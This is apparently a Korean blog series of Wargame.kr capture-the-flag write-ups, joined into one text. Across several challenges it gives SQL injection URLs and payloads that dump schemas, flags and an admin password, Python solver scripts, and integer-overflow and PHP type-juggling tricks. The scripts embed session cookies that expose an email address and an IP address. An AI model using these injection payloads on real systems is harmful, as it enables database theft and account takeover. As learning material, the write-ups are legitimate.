Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 pyc_decompile 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 매우 간단한 문제이지만, 조금 꼬아놓은 문제입니다.

대강 코드 해석만 할 줄 알면 풀 수 있는 문제입니다.




 

 문제 이해


문제는 다음과 같습니다.


다짜고짜 bughela.pyc 파일을 제공해주는데, 이 파일을 다운로드 받으면 인코딩된 python 코드인 것을 볼 수 있습니다.

이 파일을 디컴파일 하기 위해서는 Easy Python Decompiler 프로그램을 이용하면 간단히 디컴파일 할 수 있습니다.

디컴파일 한 파일의 내용은 다음과 같습니다.


# Embedded file name: bughela.py
import time
from sys import exit
from hashlib import sha512

def main():
    print 'import me :D'


def GIVE_ME_FLAG(flag):
    if flag[:43] != 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'


def die():
    print 'NOPE...'
    exit()


if __name__ == '__main__':
    main()


여기서 GIVE_ME_FLAG의 코드를 이용하여 문제를 풀어야 함을 볼 수 있습니다.

import 해서 사용하면서 문제를 풀 수도 있지만, 그것만으로는 풀이가 불가능할 것 같아 새로 코드를 작성해보았습니다.




 

 문제 풀이


url을 들어가보면 제가 파이썬을 실행시킨 localtime이 서버와 다른 것을 알 수 있습니다.

대략 1분 34초? 정도 차이가 나는 것을 알 수 있습니다.


그러나 여기서는 시간과 분을 이용하여 쿼리 값을 가져오는 URL을 생성하는 것을 알 수 있는데, 시간 차이가 1분이 날 때가 있고 2분이 날 때가 있기 때문에 이런 경우를 없애기 위해 그냥 코드를 작성해보았습니다.


서버에서 시간을 읽어와서, 로컬 시간과 맞춘 후 hash화 한 다음, hash값의 특정 부분을 가져와 URL로 다시 날리는 구조입니다.

import requests
import time, datetime
from sys import exit
from hashlib import sha512

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'http://wargame.kr:8080/pyc_decompile/?flag='
headers = {'Cookie': 'Cookie: chat_id=%22; ci_session=a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%221c29bf1b489fed7b640ddc06dab12598%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.217.38.14%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A115%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F74.0.3729.131+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1557989373%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22KKAMIKOON%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22hjs5576%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22eng%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%224925%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1557980940%3B%7D7fe70fc0fc030be3a34180a8d6f553637fb89ce3'}

res        = sess.get(url=URL[:-6], headers=headers, verify=False)
pos1       = res.text.find('<h1>') +4
pos2       = res.text.find('</h1>')
ServerTime = datetime.datetime.strptime(res.text[pos1:pos2], '%Y/%m/%d %H:%M:%S')

print("GET Server Time[=] : ", res.text[pos1:pos2])

now   = datetime.datetime.now()
diff  = ServerTime.minute - now.minute

print("GET Different  [=] : ", diff)

seed  = time.strftime('%m/%d/HJEJSH', time.localtime())
hs    = sha512(seed.encode()).hexdigest()
start = now.hour % 3 + 1
end   = start * ((now.minute+diff) % 30 + 10)
ok    = hs[start:end]

payload = ok
res     = sess.get(url=URL+payload, headers=headers, verify=False)

print('GET res.text[=]    : ', res.text)


이 결과는 다음과 같습니다.




Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 SimpleBoard 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보다 간단하지만은 않은 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


이번에도 간단한 SQL Injection 문제라고 하는데, 어쩌면 script가 필요하다고 합니다.

저는 딱히 짤 필요는 못 느꼈지만 스크립트를 작성하면 편하긴 편하더라구요.

거두절미하고 문제풀이로 들어가겠습니다.




 

 문제 풀이


문제를 살펴볼 때 read.php 이외에는 딱히 값을 넘겨주는 곳이 없어서, read.php에 쿼리 값을 넣어보니 다음과 같은 결과가 나왔습니다.

여기서 idx가 0이게 되면 아무런 값도 출력하지 않지만, or 1=1을 통해 참(1)이 반환되어 NUM 값이 1인 행이 출력되는 것을 볼 수 있었습니다.

그렇다면 이 부분에 값을 넣을 수 있다는 것을 확인할 수 있었습니다.

그런데, order by를 통해 컬럼 개수를 알아보려했는데, 자꾸 query error라는 값을 토해내기 시작했습니다.


여기서 소스를 살펴보도록 하겠습니다.

<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }

    Class DB {
        private $connector;

        function __construct(){
            $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }

        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }

        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }

        public function just_query($query){
            return $this->real_query($query);
        }

        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }

    }

    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }


여기서 55, 56번 라인을 보게 되면 read_chk를 통해 inc_hit 함수의 실행 여부를 판단합니다.


이 부분이 중요합니다.


이제 61 ~ 67번 라인을 보게 되면 read_chk 함수가 있는데, 여기서 COOKIE 값 내에 view 값에 우리가 입력한 idx 값이 있으면 true를 반환하고, 없으면 false를 반환합니다.


해석해보면 false를 반환했을 때, inc_hit 함수가 실행되는 것을 알 수 있습니다.

inc_hit함수가 실행되면 우리가 입력한 idx 값을 이용하여 update 쿼리가 실행됩니다.


만약 우리가 idx=1 order by 4를 넣어서 실행하고자 한다면, select문에서는 문제없이 동작할지 몰라도, update문에서는 에러를 발생하게 됩니다.

만약 cookie 값에 우리가 입력한 idx 값이 없을 때, update문을 실행한 다음 select문을 실행합니다.

즉, update문에 먼저 실행되어 select문이 동작하지 않게 된다는 것입니다.


그렇다면 update문이 실행되지 않도록 하기 위해서는 cookie 값에 우리가 입력할 값을 넣어줘야 한다는 것을 의미합니다.


불편하지 않게 저는 간단한 스크립트를 작성하여 문제를 풀었습니다.

import requests
import urllib

requests.packages.urllib3.disable_warnings()
sess = requests.session()

URL = 'http://wargame.kr:8080/SimpleBoard/read.php?idx=0'
'''
# TABLE_SCHEMA / TABLE_NAME
# SimpleBoard  / SimpleBoard
payload = urllib.parse.quote(" union select table_schema,table_name,3,4 from information_schema.tables limit 1,1")

# TABLE_SCHEMA / TABLE_NAME   / COLUMN_NAME
# SimpleBoard  / README       / flag
payload = urllib.parse.quote(" union select table_name,column_name,3,4 from information_schema.columns limit 0,1")

# TABLE_SCHEMA / TABLE_NAME   / COLUMN_NAME / COLUMN
# SimpleBoard  / README       / flag        / 8b86cd6a814ce83915ca2c391e3aca1ed4ddccfd
payload = urllib.parse.quote(" union select 1,flag,3,4 from SimpleBoard.README limit 0,1")
'''

payload = urllib.parse.quote(" union select 1,flag,3,4 from SimpleBoard.README limit 0,1")

headers = {'Cookie': 'view=%2F0' + payload + '; chat_id=test; ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2221502e91b78756d6c271bc6743c3ac2d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.217.38.14%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A115%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F74.0.3729.131+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1557974138%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22KKAMIKOON%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22hjs5576%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22eng%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%224925%22%3B%7D62a0256e6f6d3ca2d09dabd666d3db802a6f9aca'}

res     = sess.get(url=URL+payload, headers=headers, verify=False)

print('[=] res.text : \n', res.text) 


위의 코드를 보면 payload에 따른 값이 달라지는 것을 볼 수 있습니다.


Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 web_chatting 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 SQL Injection 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


간단한 SQL Injection 문제라고 나옵니다.

나머지 설명은 문제에서 딱히 도움이 안 되는 것이기 때문에 패스하겠습니다.

여기서는 딱히 보여주는 것이 별로 없었습니다. 바로 문제풀이로 들어가겠습니다.


 

 문제 풀이


Fiddler로 여기저기 찔러본 결과 chatview.php를 불러올 때 GET 형태의 패킷으로 SQL Injection이 가능한 것을 확인했습니다.


일단 먼저 ni 부분에 값이 38419가 아니라 1을 작성하게 되면 다음과 같은 결과가 나타나게 됩니다.


그러면 여기에 적절히 38419(채팅 값이 별로 없는 녀석)을 이용하여 문제를 풀어보도록 하겠습니다.


Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20order%20by%205%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 order by 5 -- 


order by 5까지 하면 정상적이지만 order by 6을 하게 되면 아무런 값이 나타나지 않습니다.

이는 Error가 발생하여 반환되는 것이 없기 때문이라고 짐작할 수 있습니다.


그러면 이제 컬럼 개수가 5개라는 것을 알 수 있으니, 어디에 값이 나오는지 살펴보도록 합시다.

Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201,2,3,4,5%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,2,3,4,5 -- 

보아하니, 2와 3으로 값을 알아낼 수 있을 것 같습니다.


이제 information_schema에서 table_schema와 table_name을 알아보도록 합시다.

Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201%2Ctable_schema%2Ctable_name%2C4%2C5%20from%20information_schema.tables%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,table_schema,table_name,4,5 from information_schema.tables -- 


web_chatting이라는 table_schema(DB)에 chat_log와 chat_log_secret이라는 테이블이 있는 것을 볼 수 있었습니다.

일단 테이블의 내용을 살펴보도록 해야겠습니다.


Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201%2Ctable_name%2Ccolumn_name%2C4%2C5%20from%20information_schema.columns%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,table_name,column_name,4,5 from information_schema.columns -- 

보아하니 chat_log_secret의 readme가 좀 수상해보입니다.

Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201%2C2%2Creadme%2C4%2C5%20from%20web_chatting.chat_log_secret%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,2,readme,4,5 from web_chatting.chat_log_secret -- 

답이 나오게 됩니당



Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 easy_crackme 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 문제이지만, IDA를 다뤄보려고 이것저것 뒤져보느라 열심히 풀어보게 된 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.

리버싱 문제라고 합니다.

원래는 x64dbg를 이용하여 문제를 풀이하려 했으나, ida를 사용해보는 것도 좋을 것 같아 사용하지도 못하는 IDA로 삽질을 해보았습니다.

거두절미하고 문제풀이로 들어가보도록 하겠습니다.



 

 문제 풀이


먼저 IDA로 문제를 열어보면 다음과 같이 나타나게 됩니다.


별로 봐도 도움이 안 되는 창입니다.


일단 Shift + F12를 클릭하여 String View로 들어가보도록 합시다.


여기서 G00d! 라는 문자가 있는 것을 확인하고, 신나게 더블클릭을 눌러보았습니다.

그러자 다음과 같이 나타나게 됩니다.


띠용.

위의 영역은 text 영역이라고 합니다.

여기서 aG00d에서 x를 눌러도 해당 위치의 View로 넘어가져야 하는데, 어째 캡처할 때는 안 넘어가지네요....

문제 풀다 뭐 잘못 건드렸나..


그래서 다음과 같이 aSorryServerIsD 함수를 클릭하여 x 버튼을 클릭하여 해당 위치의 IDA-View로 들어갔습니다.

OK를 누르게 되면 다음과 같이 나오게 됩니다.


여기서 해당 부분을 클릭하고 F5를 눌러주면 다음과 같은 코드로 넘어가지게 됩니다.

괴..굉장해..


여기서 위로 조금 올라가보면...

이런 소스가 나타나게 됩니다.


이 소스를 쭉 해석하면,

"_my_b"가 문자열에 있는지 비교하고, wtoi로 1114가 있는지 비교하고, "birth"가 문자열에 있는지 비교합니다.

이를 조합하면 1114_my_birth 가 답이 되게 됩니다.




Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 php? c? 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 간단한 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.

문제를 보니 interger 타입에 대해 묻고 있습니다.

INT는 32bit로 되어 있으며, unsigned와 signed에 따라 값의 범위가 달라지게 됩니다.

먼저 문제로 들어가 소스를 살펴보았습니다.



<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 require("../lib.php"); // include for auth_code function.
 if(isset($_POST['d1']) && isset($_POST['d2']))
 {
    $input1=(int)$_POST['d1'];
    $input2=(int)$_POST['d2'];

    if(!is_file("/tmp/p7"))
    {
      exec("gcc -o /tmp/p7 ./p7.c");
    }

    $result=exec("/tmp/p7 ".$input1);

    if($result!=1 && $result==$input2)
    {
      echo auth_code("php? c?");
    }
    else
    {
      echo "try again!";
    }
 }else
  {
    echo ":p";
  }
?>
<style>
 table {background-color:#000; color:#fff;}
 td {background-color:#444;}
</style>
<hr />
 <center>
  <form method='post'>
  <table>
  <tr><td>D1:</td><td><input type='text' id="firstf" style="width:75px;" maxlength="9" name='d1'></td></tr>
  <tr><td>D2:</td><td><input type='text' style="width:75px;" name='d2'></td></tr>
  <tr><td colspan="2" style="text-align:center;"><input type='submit' value='try'></td></tr>
  </table>
  </form>
 <div><a href='?view-source'>get source</a></div>
 </center>
 <script>
  document.getElementById("firstf").focus();
 </script>


위의 코드는 나름 정리해서 보여지게 한 것입니다.

위의 코드에서는 일단 두 개의 입력 값을 post로 받습니다.


input1 값은 p7이라는 C 프로그램의 인자값으로 주어지고,

input2 값은 p7의 값의 결과값과 비교하는 값입니다.


여기서 나름 힌트라고 할 수 있는 것이 14번 라인입니다.

여기서 ./p7.c를 컴파일하여 사용한다는 것입니다.


즉, 현재 디렉토리에 p7.c라는 파일이 있다는 것입니다.

http://wargame.kr:8080/php_c/p7.c  링크로 들어가서 소스를 살펴보도록 합시다.


#include <stdio.h>
#include <stdlib.h>
void nono();

int main(int argc,char **argv){
    int i;

    if(argc!=2)
    {
        nono();
    }
    
    i=atoi(argv[1]);

    if(i<0)
    {
        nono();
    }

    i=i+5;

    if(i>4)
    {
        nono();
    }

    if(i<5)
    {
        printf("%d",i);
    }
    return 0;
}
void nono()
{
  printf("%d",1);
  exit(1);
}


위의 소스도 나름 보기 좋게 정리한 것입니다.

여기서 우리가 입력한 인자값(문자열 값)이 atoi함수를 통해 int로 변경되어 입력됩니다.

그리고 그 값이 각 if문을 통과할 때 정상적인 종료가 이루어집니다.


여기서는 int overflow를 이용하여야 합니다.




 

 문제 풀이


먼저 int overflow를 하기 전에 어떻게 integer overflow가 가능한지 알아보도록 합시다.


 

 integer overflow


integer 값은 unsigned일 때 -2147483648 ~ 2147483647 의 범위를 가지고 있습니다.

여기서 가장 큰 양수 값을 넣었을 때 위와 같은 비트 형태를 가지게 됩니다.

이때 만약 +1을 하게 되면 다음과 같이 값이 변하게 됩니다.


위의 값은 계산기이기 때문에 양수로 보이게 되지만, C의 unsigned int의 경우 다음과 같이 음수로 변하게 됩니다.


이러한 원리를 이용하여 integer overflow를 수행할 수 있습니다.



 

 문제 풀이


integer overflow 원리를 이용하여 다음과 같은 값을 넘겨주게 되면, 모든 if 값을 패스합니다.


Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 img recovery 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 문제이면서, 관련 프로그램을 이용하여 풀어야 하더군요.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.

PNG 파일인가, 스테가노그래피, 포렌식 도전 이라고 나오는데...

일단 스테가노그래피의 일종이라는 것은 알 것 같습니다.


아래의 그림을 보면 코드를 찾으라고 나오는데, 


아무래도 배경이 수상합니다.

마치 QR 코드 같이 생겼습니다.

소스에서 보면 같은 디렉토리 위치에 pattern.png라는 파일이 있는 것을 확인할 수 있습니다.


혹은 개발자도구로도 다음과 같이 확인할 수 있습니다.

이제 문제를 풀어보도록 하겠습니다.




 

 문제 풀이


Hex Editor로 열어보면 맨 아래에 tExtSoftware.Japng 라고 나와있습니다.

이 프로그램을 다운로드 받아 열어보면 다음과 같이 두 개의 PNG 파일이 나오게 됩니다.


이제 이 파일을 Export 해서 사용해보도록 합시다~


위의 두 그림을 PPT로 옮겨서 투명도를 조작한 후 온전한 QR코드로 만들어보았습니다.


하는 방법은 다음과 같습니다.


[정사각형 도형 그리기] -> [채우기] -> [그림 또는 질감 채우기] -> [파일 선택 후 PNG 파일 선택] -> [투명도 하나만 50%하여 겹치기]

그냥 끌어다가 투명도를 조절하려고 하지 마세요. 안 돼요 ㅠㅠ


QR 코드를 읽으면 WHAT!@#$? 라는 값이 나오게 됩니다.


이 코드를 입력하면 플래그가 나오게 됩니다.



Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 type_confusion 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 문제이면서, 생각만으로는 어려운 문제입니다.


여기서는 JSON의 타입 오류를 이용하여 풀어야 합니다.




 

 문제 이해


문제는 다음과 같습니다.


문제를 보면, 단순 비교하는 문제라고 나타나 있습니다.


문제를 들어가면 view-source가 나오고, 입력창이 있습니다.

일단 view-source를 보도록 합시다.

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true, "flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }

 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_", true);
    $key = sha1($key);
     return $key;
 }
?>

<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>


위의 소스에서 php 영역보다는 html 영역 먼저 살펴보도록 해야 합니다.


일단 submit을 했을 경우 submit_check() 함수를 onsubmit()함수로 실행하는 것을 볼 수 있습니다.

submit_check() 함수를 찾아보려는데, 위의 소스에는 없는 것 같습니다.

잘 보면 29번 라인에 같은 디렉토리에 util.js 파일이 있는 것을 볼 수 있습니다.


해당 파일을 살펴보면 다음과 같습니다.

var lock = false;
function submit_check(f){
	if (lock) {
		alert("waiting..");
		return false;
	}
	lock = true;
	var key = f.key.value;
	if (key == "") {
		alert("please fill the input box.");
		lock = false;
		return false;
	}

	submit(key);

	return false;
}

function submit(key){
	$.ajax({
		type : "POST",
		async : false,
		url : "./index.php",
		data : {json:JSON.stringify({key: key})},
		dataType : 'json'
	}).done(function(result){
		if (result['code'] == true) {
			document.write("Congratulations! flag is " + result['flag']);
		} else {
			alert("nope...");
		}
		lock = false;
	});
}


위의 소스에서 submit_check() 함수와 submit() 함수가 있는 것을 볼 수 있습니다.


분석해보니, 우리가 입력받은 값(정확히는 POST로 전송받은 값)을 submit_check의 변수인 f로 받게 되고,

이 값이 존재하는지 먼저 체크하고, 존재한다면 submit 함수로 보내게 됩니다.


그리고 submit 함수에서는 우리가 입력받은 값을 json으로 인코딩하여,

{key: 입력받은 값}과 같은 형태로 처음 우리가 열었던 index.php 파일로 전송하게 됩니다.


값을 전달받은 index.php 파일은 우리가 입력한 값과 임의로 생성한 문자열 값이 동일한지 확인하게 됩니다.

sha1으로 해쉬화하여 전송하기 때문에 같은지 다른지 알 길이 없지요...


그렇다면 우리가 입력한 값이 무엇이든 문자열과 비교하게 된다는 것을 알 수 있습니다.

이 부분은 타입 에러에서 살펴보도록 해야 할 것 같습니다.



 

 문제 풀이



여러 타입과 관련하여 PHP에서는 위와 같은 리턴 값을 가지고 있습니다.

우리는 문자열과 비교하여 어떤 값이 참을 내뱉는지 살펴보도록 해야 할 것 같습니다.


위의 표에서 문자열은 "php"라고 써두었습니다.


"php"와 true, 0, 그리고 동일한 문자열일 경우에는 참을 리턴하는군요.


그렇다면 이제 참을 리턴할 수 있도록 값을 전송하도록 합시다.



입력 창에서 true를 입력하면, "true" 라는 문자열이 전송되기 때문에 저는 fiddler로 값을 따로 입력해주었습니다.

0 값도 시도해보았으나 true를 뱉지 않더라구요.. 


phptester.net에서 그냥 테스트를 해봤는데, true일 경우는 문자열과 일치하는 결과를 보여주지만, 0일 경우에는 일치하지 않는다는 결과를 보여주는군요. 저 표가 잘못된 건 아니지만, 0과 hash 값을 비교했을 때는 어째서인지 false를 뱉어냅니다.


 

 phptester에서 알아낸 내용


no를 뱉어내는 문자열

9b38360c57ba1a4688527cd4d9f58e3deaacccb6

7363e885238bb05b960a6f02c8bf464f7f413502


yes를 뱉어내는 문자열

e8cea42b73ba481a854368ad4827ec577c783059

beee587d9273f7570541e1ef2769a4d56cec4027



위의 두 종류의 해쉬는 문자열로 먼저 시작했는지, 숫자로 먼저 시작했는지에 따라 0과 비교했을 때 true 혹은 false로 나뉘어지는 것 같습니다.

제아무리 문자열이라고 하더라도 숫자로 먼저 시작할 경우에는 0과 비교할 때 false인 것 같습니다.


이는 atoi와 비슷한 형태를 보여준다고 합니다.




wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 tmitter 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 문제인데, 저는 삽질로 풀었습니다.

사실 답을 알고나서 하하하 했습니다 ㅋㅋㅋㅋ



 

 문제 이해


문제는 다음과 같습니다.


위의 문제에서 tmitter_user에 대한 테이블 정보가 있었네요.

그거도 모르고 헛짓을 하고 있었네요.


두 가지나.. ㅎㅎ


먼저 사용자 계정 정보가 id 32글자, pw 32글자로 이루어져 있습니다.

이를 이용한 취약점이 존재하지만, 저는 다른 방법으로 먼저 풀이를 진행하도록 하겠습니다.



저는 먼저 계정을 만들어 들어갔습니다.


간단하게 하나 만들고 Sign in을 하고 들어갔더니 다음과 같이 입력창이 나타나 있었습니다.


여기에 값을 입력하거나 다른 사람이 값을 입력한 것이 들어가 있는 것을 볼 수 있었습니다.

그래서 그냥 단순히 우리가 입력한 값이 Insert SQL 문일 것이라고 판단했습니다.




 

 문제 풀이 - insert 문 이용



그러면 어디에 어떻게 입력된 것인지 Insert 문에 몇 개의 요소로 몇 가지가 있을 것인지 추측하기 위해 별 걸 다 넣어봤습니다.


결론은 다음과 같은 값을 넣었을 때 값이 들어가지는 것을 볼 수 있었습니다.


your text', 'some string')# 

위의 값을 넣었을 때 아마 다음과 같은 결과가 나타났을 것 같습니다.


insert into table_name values(idx, 'id value', 'your input value', 'something value')# some values)


그렇다면 저 뒤에 값을 더 넣어서, admin으로 계정 정보를 바꾼다면 어떻게 될까 살펴봤습니다.


다음과 같은 값을 넣으니 admin으로 값이 입력된 것처럼 바꼈습니다.


tmeet=1','2'),(0,'admin','I am admin!! hahaahahahahahaha','4');#



제 아이디로 들어간 값이 tmeet=1 이라는 문자열이 들어가고,

idx에 0이라는 값을 대충 입력하고, id value 쪽에는 admin을 입력하고, 값을 입력하니,

마치 admin이 입력한 값인 것처럼 입력되었습니다.


아마 계정 이름이 admin이면 admin인 것으로 그림이 바뀌는 것 같습니다.


이제 여기를 이용해서 schema 이름 가져오고, table 이름 가져오고, column 이름을 가져왔습니다.


 

 schema 이름 가져오기


tmeet=1','2'),(0,'admin',(select table_schema from information_schema.tables where table_name='tmitter_tmeets'),'4');#

결과 : tmitter



 

 table 이름 가져오기


tmeet=1','2'),(0,'admin',(select table_name from information_schema.columns where column_name='ps'),'4');#

결과 : tmitter_user



 

 column 이름 가져오기

tmeet=1','2'),(0,'admin',(select column_name from information_schema.columns where table_name='tmitter_user' limit 0,1),'4');#

tmeet=1','2'),(0,'admin',(select column_name from information_schema.columns where table_name='tmitter_user' limit 1,1),'4');#

tmeet=1','2'),(0,'admin',(select column_name from information_schema.columns where table_name='tmitter_user' limit 2,1),'4');#

결과 : 각각 idx, id, ps



 

 admin 아이디의 비밀번호 알아내기


tmeet=1','2'),(0,'admin',(select ps from tmitter.tmitter_user where id='admin'),'4');#

결과 : iD0nTkn0wpassw0rd..!!



저는 위의 비밀번호로 이걸로 로그인해서 들어갔습니다.





 

 문제 풀이 - 정석


admin으로 로그인하려는데, 이미 회원가입이 되어 있다고 합니다.

일단 테스트로 계정을 하나 만들어서 비밀번호를 바꿔봤더니, join에서 비밀번호가 특정 방법을 통해 변하는 것을 확인했습니다.


방법은 다음과 같습니다.


admin의 경우 회원가입 페이지에 32글자가 넘어가게 되면 php에서는 admin과 다른 글자로 알아먹지만,

mysql은 32글자만 받아들여, admin으로 인식하게 됩니다.


이로 인해 join 페이지를 통해 admin의 비밀번호를 바꿀 수 있게 되고,

여기서 admin의 비밀번호를 7글자 1234567로 변하게 됩니다.


바뀐 비밀번호를 통해 로그인하게 되면 정답이 나타나게 됩니다.


wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 md5_compare 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 문제이면서, 생각만으로는 어려운 문제입니다.

즉, 어려운 이유는 기존에 알려진 취약점을 알아야 하기 때문입니다.


그래도 만약 md5에 대한 취약점을 안다면, 큰 어려움은 없으니 풀어보도록 합시다.



 

 문제 이해


문제는 다음과 같습니다.


위의 문제에서는 단순히 값을 비교를 한다고 합니다.


문제로 들어가 소스를 확인해보았습니다.

<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }

    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force

        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1) != md5($v2)) {$chk = false;}

        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>


14, 15번 라인을 보게되면, 문자인지 숫자인지 확인합니다.


14번 라인은 문자열이면 참을 반환하는 ctype_alpha() 함수를 이용하여 문자열인지 비교하고, 

15번 라인은 숫자값이면 참을 반환하는 is_numeric() 함수를 이용하여 숫자값인지 비교합니다.


그리고 문자열과 숫자값이 적절하게 들어간 두 값을 각각 md5() 함수로 암호화를하여 비교합니다.

